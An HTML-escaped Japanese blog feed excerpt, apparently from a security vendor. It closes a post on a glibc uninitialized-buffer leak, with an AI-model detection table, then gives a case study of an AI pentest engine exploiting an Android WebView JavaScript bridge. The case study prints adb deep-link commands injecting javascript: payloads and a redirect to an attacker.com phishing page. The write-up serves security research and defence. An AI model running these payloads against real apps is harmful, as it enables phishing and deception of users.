&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Actually handle zero!&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"0.in-addr.arpa"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"0.0.0.%u.in-addr.arpa"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... rest of cases&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;それだけです。4のcaseを追加し、ゼロの入力を処理する。それで完了です。&lt;/p&gt;
&lt;p&gt;あるいは、バッファを宣言するときに初期化するだけでも構いません。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAXDNAME&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;いずれにしても、30年間重要なインフラに潜んでいた脆弱性に対して、1行の修正で済むという話です。そこが面白いところです。&lt;/p&gt;
&lt;h2 id="本当に興味深いのはここから:これを見つけたのはおそらくai"&gt;本当に興味深いのはここから：これを見つけたのはおそらくAI&lt;/h2&gt;
&lt;p&gt;この脆弱性は、おそらくAI支援型のコード解析によって発見されました。このバグを見つけるには、次のことが必要です。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ループを通る制御フローをたどる&lt;/li&gt;
&lt;li&gt;ゼロがループを実行させない特殊なケースであると認識する&lt;/li&gt;
&lt;li&gt;switch文が結果として得られる&lt;code&gt;cnt&lt;/code&gt;の値を処理していないことに気付く&lt;/li&gt;
&lt;li&gt;それによってバッファが未初期化のまま残ることを理解する&lt;/li&gt;
&lt;li&gt;それを、そのバッファがネットワーク越しに送信されることと結び付ける&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ステップがたくさんあります。これはまさに、人間のコードレビューでは見逃しやすい多段階の推論であり、glibcのように大規模で成熟したコードベースでは特にそうです。しかし同時に、現代のAIモデルが本当に得意になりつつあるのも、まさにこの種の作業です。&lt;/p&gt;
&lt;h2 id="そこでベンチマークを実施した"&gt;そこでベンチマークを実施した&lt;/h2&gt;
&lt;p&gt;さまざまなAIモデルがこの脆弱性をどの程度見つけられるのか、興味がありました。そこで、脆弱なコードを10種類のモデルに投げ、「このコードの脆弱性を見つけてください」というシンプルなプロンプトを与えました。&lt;/p&gt;
&lt;p&gt;結果は次のとおりです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;モデル&lt;/th&gt;
&lt;th style="text-align: left;"&gt;見つけたか&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;GPT 5.2&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ はい&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;GPT 5.1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ はい&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Claude Opus 4.5&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ はい&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Grok 4&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ はい&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Deepseek R3&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ はい&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Deepseek v3.2&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ はい&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Deepseek v3&lt;/td&gt;
&lt;td style="text-align: left;"&gt;❌ いいえ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Gemini 3&lt;/td&gt;
&lt;td style="text-align: left;"&gt;❌ いいえ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Gemini 2.5&lt;/td&gt;
&lt;td style="text-align: left;"&gt;❌ いいえ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Kimi k2&lt;/td&gt;
&lt;td style="text-align: left;"&gt;❌ いいえ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;成功率60%&lt;/strong&gt;：10モデル中6モデルが、&lt;code&gt;net == 0&lt;/code&gt;による未初期化バッファの問題を正しく特定しました。&lt;/p&gt;
&lt;h2 id="図解(見たいと思っているはずなので)"&gt;図解（見たいと思っているはずなので）&lt;/h2&gt;
&lt;p&gt;私は視覚的に理解するタイプです。このバグを図にすると次のようになります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;フローチャート案：「2つの経路」&lt;/strong&gt;&lt;/p&gt;
&lt;div class="mermaid"&gt;
flowchart TD
    A["関数がネットワーク値を受け取る"] --&amp;gt; B{net == 0か？}
    B --&amp;gt;|いいえ| C["ループを実行&lt;br/&gt;cnt = 0,1,2,3"]
    B --&amp;gt;|はい| D["ループをスキップ&lt;br/&gt;cnt = 4"]
    C --&amp;gt; E["switchのcaseが&lt;br/&gt;一致"]
    D --&amp;gt; F["一致する&lt;br/&gt;caseなし"]
    E --&amp;gt; G["安全：DNSクエリを送信"]
    F --&amp;gt; H["リスク：メモリが漏えい"]
&lt;/div&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;CVE-2026-0915は、セキュリティがなぜ難しいのかを示す見事な例です。これは複雑なコードではありません。巧妙なエクスプロイトチェーンも、珍しい手法もありません。ただ&amp;hellip;&amp;hellip;エッジケースが一つ抜けていただけです。誰も処理しようと思わなかったゼロです。そしてその見落としによって、機密性の高いメモリの内容がインターネットを越えて漏えいする可能性がありました。&lt;/p&gt;
&lt;p&gt;AIがおそらくこのバグを見つけたという事実は、未来を垣間見せるものだと私は考えます。今後、このようなことはさらに増えるでしょう。AIモデルがオープンソースのコードベースをくまなく調べ、人間の目が何年も見過ごしてきたバグを見つけるのです。これは刺激的で価値のあることですが、同じ解析を他に誰が実行しているかもしれないと考えると、少し恐ろしくもあります。&lt;/p&gt;
&lt;p&gt;しかし、今のところは、システムにパッチを適用し、バッファを初期化してください。&lt;/p&gt;</content><category term="Security"/><category term="pentest"/></entry><entry><title>Android WebViewのaddJavascriptInterfaceのリスク</title><link href="https://blog.ostorlab.co/ja/ai-pentest-android-webview-bridge-exposure.html" rel="alternate"/><published>2026-01-07T00:00:00+01:00</published><updated>2026-01-07T00:00:00+01:00</updated><author><name>Mohamed Nasser</name></author><id>tag:blog.ostorlab.co,2026-01-07:/ja/ai-pentest-android-webview-bridge-exposure.html</id><summary type="html">&lt;p&gt;ケーススタディ：OstorlabのAIペンテストエンジンが、ディープリンク経由で到達可能なAndroid WebViewのJavaScriptブリッジを発見し、それをネイティブUIの操作へと連鎖させます。&lt;/p&gt;</summary><content type="html">&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;ハイブリッドモバイルアプリケーションは、WebコンテンツがネイティブのAndroid層と通信できるようにするために、「ブリッジ」に依存することがよくあります。これはネイティブ通知やハードウェアアクセスといった強力な機能を可能にする一方で、大きなアタックサーフェスをもたらします。ネイティブのJavaまたはKotlinのオブジェクトが信頼できないJavaScriptのコンテキストに公開されると、UIの操作、ソーシャルエンジニアリング、あるいはリモートコード実行につながる可能性があります。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;WebView.addJavascriptInterface(Object object, String name)&lt;/code&gt;メソッドは、与えられたオブジェクトをWebViewのJavaScriptコンテキストに注入し、JavaScriptが&lt;code&gt;@JavascriptInterface&lt;/code&gt;で明示的に注釈されたネイティブメソッドを呼び出せるようにします。歴史的に見ると、このAPIは4.2より前のAndroidバージョンにおける重大な脆弱性の原因であり、無制限のリフレクションにより、JavaScriptがアプリケーションプロセス内で汎用的なリモートコード実行を達成できました。最近のAndroidバージョンは、明示的な注釈を必須とし、リフレクションによるアクセスを制限することで、この種の問題を緩和しています。しかし、公開されたメソッドが機密性の高い操作を行う場合や、信頼できないJavaScriptがWebView内で実行を許される場合には、このインターフェースは依然として悪用され、信頼境界を越えてネイティブアプリケーションの挙動を操作されるおそれがあります。&lt;/p&gt;
&lt;h2 id="javascriptブリッジの露出を理解する"&gt;JavaScriptブリッジの露出を理解する&lt;/h2&gt;
&lt;p&gt;この検出結果がなぜ重要なのかを理解するには、組み合わさると強力なエクスプロイトチェーンを生み出す、2つの一般的なAndroidのコンポーネント、すなわち&lt;strong&gt;JavaScriptインターフェース&lt;/strong&gt;と&lt;strong&gt;ディープリンクのインテント処理&lt;/strong&gt;を見る必要があります。&lt;/p&gt;
&lt;h3 id="1. javascriptインターフェース"&gt;1. JavaScriptインターフェース&lt;/h3&gt;
&lt;p&gt;Androidでは、&lt;code&gt;WebView&lt;/code&gt;コンポーネントによってアプリがWebコンテンツを表示できます。そのWebコンテンツがネイティブのAndroidコードに「話しかけ」られるようにするため、開発者は&lt;code&gt;addJavascriptInterface&lt;/code&gt;メソッドを通じて作成される「ブリッジ」を使います。&lt;/p&gt;
&lt;p&gt;開発者が&lt;code&gt;webView.addJavascriptInterface(new MyWebAppInterface(), "Android")&lt;/code&gt;を呼び出すと、そのWebView内で実行されるあらゆるJavaScriptが、&lt;code&gt;MyWebAppInterface&lt;/code&gt;のJavaクラス内のメソッドを、あたかもネイティブのJS関数であるかのように呼び出せます（たとえば&lt;code&gt;window.Android.showToast(...)&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;リスク：&lt;/strong&gt;WebViewが（中間者攻撃や悪意のあるリンクを通じて）信頼できないWebサイトを読み込むと、そのWebサイトはネイティブのJavaコードを起動する能力を手にします。&lt;/p&gt;
&lt;h3 id="2. ディープリンクの注入"&gt;2. ディープリンクの注入&lt;/h3&gt;
&lt;p&gt;ディープリンクにより、外部のソース（ブラウザーや別のアプリなど）がURIを使ってアプリケーション内の特定の画面を開けます（たとえば&lt;code&gt;myapp://profile&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;アプリケーションの「ゲート」の守りが甘いと、&lt;code&gt;javascript:&lt;/code&gt; URIをディープリンクとして受け入れてしまうことがあります。たとえば、次のようなものです。
&lt;code&gt;intent://target_activity?url=javascript:alert(window.Android.showToast('Hacked'))&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;アプリがこのURLをWebViewに無造作に読み込むと、それは単にWebページを読み込んでいるのではなく、アプリケーションの安全なコンテキストの内部で任意のコードを直接実行していることになります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;この2つの要素が衝突すると&lt;/strong&gt;、攻撃者はリモートからアプリに「手を伸ばす」ことができます。作成したリンクをユーザーに送ることで、攻撃者はアプリを強制的に開かせ、内部のWebViewに悪意のあるJavaScriptを注入し、そのうえでブリッジを使ってネイティブ機能を操作します。&lt;/p&gt;
&lt;h2 id="ostorlab pentest engineの概要"&gt;Ostorlab Pentest Engineの概要&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Ostorlab Pentest Engine&lt;/strong&gt;は、人工知能を活用し、熟練した人間のペンテスターの推論と手法を模倣するよう設計された、自律型の攻撃的セキュリティエージェントです。静的でルールベースのチェックに依存する従来のスキャナーとは異なり、このエンジンは動的な「推論と行動（Reason and Act）」のフレームワークを使ってアプリケーションのアタックサーフェスを探索します。&lt;/p&gt;
&lt;h3 id="仕組み:自律的なループ"&gt;仕組み：自律的なループ&lt;/h3&gt;
&lt;p&gt;このエンジンは、継続的で反復的なサイクルを通じて動作し、本ケーススタディで取り上げるJavaScriptブリッジの露出のような複雑な脆弱性に対応できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リスクモデリングと仮説の生成：&lt;/strong&gt;P.A.S.T.A.のような手法を用いて、エンジンはまず対象の脅威モデルを構築します。単にペイロードを大量に送るのではなく、具体的な仮説（たとえば&lt;em&gt;「このディープリンクはJavaScriptを実行してネイティブのブリッジに到達できるか」&lt;/em&gt;）を生成します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;専門化されたサブエージェント（実行役）：&lt;/strong&gt;エンジンは、&lt;a href="https://github.com/Ostorlab/oxo"&gt;&lt;strong&gt;Ostorlab OXO&lt;/strong&gt;&lt;/a&gt;プラットフォームを通じて、専門化されたサブエージェント群を統制します。これらの実行役は、monkeyテスター、クローラー、ファザー、テイントエンジンなどのツールを使用します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行時の計装と動的な対話：&lt;/strong&gt;エンジンは、ライブで管理された実行環境の中で動作し、技術スタック（Java、Swift、C/C++、Flutter）をまたいで計装を重ねます。これにより、ネイティブの挙動に「フック」し、2FA/OTPに対応した認証後の領域を含む複雑なUIのフローをたどり、Webとネイティブ層の間を流れるデータをリアルタイムで検査できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;敵対的検証：&lt;/strong&gt;精度を高め、誤検知を減らすため、エンジンには専用の敵対的検証パスが含まれています。検出結果を独立して再検証し、脆弱性が再現可能であり、真のリスクをもたらすことを確認します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;アーティファクトと観察結果を精選したメモリとして保持することで、ペンテストエンジンは検出結果を「連鎖」させられます。今回のケースでは、エンジンは単にディープリンクを見つけただけでなく、そのディープリンクがJavaScriptペイロードの配送手段として使え、それが列挙済みのネイティブインターフェースと対話できると推論しました。&lt;/p&gt;
&lt;h2 id="攻撃の物語:javascriptブリッジの露出を発見する"&gt;攻撃の物語：JavaScriptブリッジの露出を発見する&lt;/h2&gt;
&lt;p&gt;最近のベンチマークテストの際、OstorlabのPentest Engineは、あるハイブリッドアプリケーションのWebView実装にギャップを特定しました。アプリケーションのディープリンクハンドラーを体系的に調べることで、WebView内で実行されるJavaScriptが、明示的なユーザーの同意なしにネイティブのUI要素を起動できる、公開されたJavaScriptインターフェースを発見しました。&lt;/p&gt;
&lt;h3 id="ステップ1:ブリッジの発見と列挙"&gt;ステップ1：ブリッジの発見と列挙&lt;/h3&gt;
&lt;p&gt;エンジンの最初の目的は、WebViewのJavaScriptコンテキストに注入されたネイティブオブジェクトを特定することで、利用可能なアタックサーフェスをマッピングすることでした。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;ブリッジの発見：JavaScriptコンテキストから、公開されているブリッジのオブジェクトとメソッドを特定する。目的：アクセス可能なメソッドを列挙し、ネイティブのアタックサーフェスを把握する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行サマリー：&lt;/strong&gt;
エンジンは&lt;code&gt;Object.getOwnPropertyNames()&lt;/code&gt;を使ってグローバルな&lt;code&gt;window&lt;/code&gt;オブジェクトのプロパティを一覧化し、カスタムのインターフェースを特定しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
&lt;code&gt;Android&lt;/code&gt;という名前のブリッジオブジェクトが発見されました。さらに列挙すると、アクセス可能なメソッドが1つ特定されました。&lt;code&gt;showToast(String message)&lt;/code&gt;です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
アプリケーションはネイティブのブリッジを公開しています。メソッドの一覧は最小限ですが、オリジンの制限がないということは、WebView内に読み込まれるあらゆるページ（ディープリンク経由で注入されたものを含む）が、ネイティブのUIロジックを呼び出せることを意味します。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="ステップ2:注入ベクトルの検証"&gt;ステップ2：注入ベクトルの検証&lt;/h3&gt;
&lt;p&gt;ブリッジが存在することがわかったエンジンは、外部の信頼できないソースからそれと対話する手段を特定する作業に移りました。その結果、アプリケーションのディープリンクハンドラーが、URIスキームをサニタイズせずに受信インテントを処理するよう構成されていることを発見しました。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;code&gt;javascript:&lt;/code&gt; URIを使ったディープリンクの注入を通じて、&lt;code&gt;Android&lt;/code&gt;ブリッジにアクセスできるかを検証する。目的：WebViewが外部のインテントから任意のコードを実行するかを確認する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行サマリー：&lt;/strong&gt;
エンジンは、発見したブリッジを呼び出すよう設計した&lt;code&gt;javascript:&lt;/code&gt;ペイロードを使って、脆弱なアクティビティ（&lt;code&gt;Activity2&lt;/code&gt;）に悪意のあるインテントを送信しました。
&lt;code&gt;adb shell am start -W -a android.intent.action.VIEW -n com.target.app/.Activity2 -d "javascript:Android.showToast('BRIDGE_ACCESS_TEST')"&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
このコマンドはアプリケーションによって正常に処理されました。端末の画面に「BRIDGE_ACCESS_TEST」というテキストのネイティブのトーストメッセージが表示され、Logcatのエントリが&lt;code&gt;com.target.app&lt;/code&gt;パッケージからのメソッド呼び出しを裏付けました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
注入ベクトルは完全に検証されました。アプリケーションはインテントを通じて渡される&lt;code&gt;javascript:&lt;/code&gt;や&lt;code&gt;data:&lt;/code&gt; URIを拒否しないため、あらゆる外部アプリケーションが、WebViewに対して、ネイティブのJavaインターフェースと直接対話するコードを強制的に実行させることができます。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="ステップ3:権限昇格の調査(リフレクションと注入)"&gt;ステップ3：権限昇格の調査（リフレクションと注入）&lt;/h3&gt;
&lt;p&gt;ブリッジがアクセス可能であることが確認されたエンジンは、UIの操作を超えて、ネイティブコードの実行やコマンドインジェクションといったより深刻な影響を特定しようと試みました。目的は、&lt;code&gt;showToast&lt;/code&gt;メソッドやブリッジ自体を、Androidのサンドボックスをバイパスするためのプリミティブとして利用できるかどうかを見極めることでした。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;code&gt;showToast&lt;/code&gt;メソッドを通じたリフレクションまたはコマンドインジェクションを使ってサンドボックスをバイパスし、ネイティブコードの実行を達成することを試みる。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行サマリー：&lt;/strong&gt;
エンジンは、いくつかの高度な悪用パターンを体系的にテストしました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;リフレクションのテスト：&lt;/strong&gt;&lt;code&gt;getClass()&lt;/code&gt;メソッドにアクセスし、&lt;code&gt;forName('java.lang.Runtime')&lt;/code&gt;を使ってシステムコマンドを実行しようと試みました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コマンドインジェクション：&lt;/strong&gt;&lt;code&gt;showToast&lt;/code&gt;のパラメーターにシェルのメタ文字やコマンドの区切り文字（たとえば&lt;code&gt;;&lt;/code&gt;、&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;、&lt;code&gt;`&lt;/code&gt;）を注入しようと試みました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プロトタイプ汚染：&lt;/strong&gt;ブリッジオブジェクトのプロトタイプに悪意のあるメソッドを注入しようと試みました。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
すべての権限昇格の試みはブロックされました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リフレクション：&lt;/strong&gt;&lt;code&gt;getClass()&lt;/code&gt;へのアクセスは制限されており、&lt;code&gt;Runtime.exec()&lt;/code&gt;に到達するためにメソッドを連鎖させる試みは失敗しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コマンドインジェクション：&lt;/strong&gt;ネイティブの&lt;code&gt;showToast&lt;/code&gt;の実装はすべての入力をそのままの&lt;code&gt;CharSequence&lt;/code&gt;として扱い、悪意のある文字列を実行するのではなく、画面上にプレーンテキストとして表示しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不変性：&lt;/strong&gt;ブリッジオブジェクトは不変であることがわかり、プロトタイプ汚染やメソッドのオーバーライドが防がれていました。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
メソッドレベルでのセキュリティ制御は効果的です。ブリッジは公開されているものの、「安全に実装」されており、影響は一時的なUIの効果に限られ、ネイティブコードの実行やデータの持ち出しへの昇格が防がれています。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="ステップ4:実際の影響の確認(ソーシャルエンジニアリングのチェーン)"&gt;ステップ4：実際の影響の確認（ソーシャルエンジニアリングのチェーン）&lt;/h3&gt;
&lt;p&gt;直接的なネイティブへの昇格はブロックされていることをエンジンは確認しましたが、方向を転換し、実際のビジネス上のリスク、すなわちソーシャルエンジニアリングを検証しました。ネイティブのUI要素を表示するというブリッジの能力を利用して、エンジンは、攻撃者がユーザーの信頼を操作して認証情報の窃取やマルウェアの配布を促し得る様子を実証しました。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;認証不要のフィッシングコンテンツと、ブリッジ経由で起動される「公式」のネイティブ通知を組み合わせた多段階の攻撃チェーンを実行し、ソーシャルエンジニアリングの影響を評価する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行サマリー：&lt;/strong&gt;
エンジンは、現実のフィッシングシナリオを模倣するため、2段階の「連鎖攻撃」を統制しました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;フィッシングへのリダイレクト：&lt;/strong&gt;ディープリンクを使って、WebViewに外部の悪意のあるURLを強制的に読み込ませました。
   &lt;code&gt;adb shell am start -n com.target.app/.Activity2 -d "https://attacker.com/phishing.html"&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;偽の通知の注入：&lt;/strong&gt;リダイレクトの直後に、ブリッジ経由で緊急を装ったネイティブのトーストメッセージを起動しました。
   &lt;code&gt;adb shell am start -n com.target.app/.Activity2 -d "javascript:Android.showToast('🔒 New message: Account verification required')"&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
ユーザー体験は乗っ取りに成功しました。アプリケーションはフィッシングページを起動すると同時に、公式を装ったネイティブ通知を表示しました。これにより、「アカウントの確認」の要求が、悪意のあるWebサイトではなく、信頼されたローカルのアプリケーションから来ているという強力な錯覚が生まれます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
これは、&lt;strong&gt;ビジネスおよびユーザーのプライバシーへの影響&lt;/strong&gt;の高い可能性を裏付けています。データの持ち出しやコード実行がなくても、ブリッジは、アプリケーションの本当の状態についてユーザーを欺くことで、「スケアウェア」の配布や認証情報の収集に利用され得ます。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="最終レポート"&gt;最終レポート&lt;/h2&gt;
&lt;h3 id="1. エグゼクティブサマリー"&gt;1. エグゼクティブサマリー&lt;/h3&gt;
&lt;p&gt;Ostorlab Pentest Engineは、対象アプリケーションの&lt;code&gt;BankWebViewKt&lt;/code&gt;コンポーネントにJavaScriptブリッジの露出を発見しました。&lt;code&gt;Android&lt;/code&gt;ブリッジオブジェクトは、オリジンの検証やソースの確認を一切行わずにWebViewに注入されています。この脆弱性により、あらゆるJavaScriptのコンテキスト（認証不要のディープリンクを通じて注入されたものを含む）が、ネイティブの&lt;code&gt;showToast&lt;/code&gt;メソッドを呼び出せます。メソッドレベルでの効果的なサンドボックス化によってネイティブコードの実行とコマンドインジェクションがブロックされていることをエンジンは確認しましたが、この脆弱性は、精度の高いソーシャルエンジニアリングやユーザーを欺く行為の可能性があるため、依然として影響度の高いものです。&lt;/p&gt;
&lt;h3 id="2. 手法"&gt;2. 手法&lt;/h3&gt;
&lt;p&gt;ペンテストエンジンは、ネイティブのブリッジのセキュリティをテストするために、方法論的で多段階のプロセスに従いました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ブリッジの発見：&lt;/strong&gt;WebView内の&lt;code&gt;window&lt;/code&gt;オブジェクトのプロパティを列挙することで、カスタムのネイティブインターフェースを特定しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベクトルの分析：&lt;/strong&gt;&lt;code&gt;Activity2&lt;/code&gt;が&lt;code&gt;javascript:&lt;/code&gt; URIを含むディープリンクをサニタイズせずに処理し、外部コードの侵入口を提供していることを発見しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;静的解析：&lt;/strong&gt;&lt;code&gt;com.target.app/BankWebViewKt.java&lt;/code&gt;内の脆弱なブリッジの注入箇所を正確に突き止めました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;昇格の調査：&lt;/strong&gt;最大の悪用可能性を見極めるため、Javaのリフレクション、コマンドインジェクション、プロトタイプ汚染を体系的にテストしました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響シナリオのテスト：&lt;/strong&gt;フィッシングのリダイレクトと偽のネイティブ通知を連鎖させることで、ソーシャルエンジニアリングのリスクを検証しました。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3. 検出結果"&gt;3. 検出結果&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;無制限のJavaScriptインターフェースの露出：&lt;/strong&gt;&lt;code&gt;Android&lt;/code&gt;ブリッジはオリジンの検証なしにWebViewに注入されており、ディープリンク経由で注入されたものを含む、読み込まれたあらゆるページからアクセス可能になっています。これは、Webコンテンツとネイティブ層の間に適切な信頼境界を課せていないことを表しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保護されていないディープリンク：&lt;/strong&gt;アプリケーションは、&lt;code&gt;javascript:&lt;/code&gt;や&lt;code&gt;data:&lt;/code&gt; URIがサニタイズされないままインテントを通じて処理されることを許しています。これにより、外部アプリがブリッジのメソッドを直接呼び出せるようになり、ネイティブのUIを操作する手軽な手段が提供されています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;効果的なブリッジレベルのサンドボックス化：&lt;/strong&gt;ブリッジの露出をシステムレベルのコード実行へと昇格させる試みは失敗しました。&lt;code&gt;showToast&lt;/code&gt;メソッドはすべての入力をそのままの文字列として扱い、JavaScriptインターフェースのオブジェクトは不変であるため、リフレクション、プロトタイプ汚染、コマンドインジェクションが防がれています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レート制限の欠如：&lt;/strong&gt;ブリッジは、ディープリンク経由の繰り返しの呼び出しを制限なく許します。これはコード実行にはつながりませんが、素早いUIの操作や通知の「スパム」を可能にし、ソーシャルエンジニアリングのシナリオで利用され得ます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4. 修復"&gt;4. 修復&lt;/h3&gt;
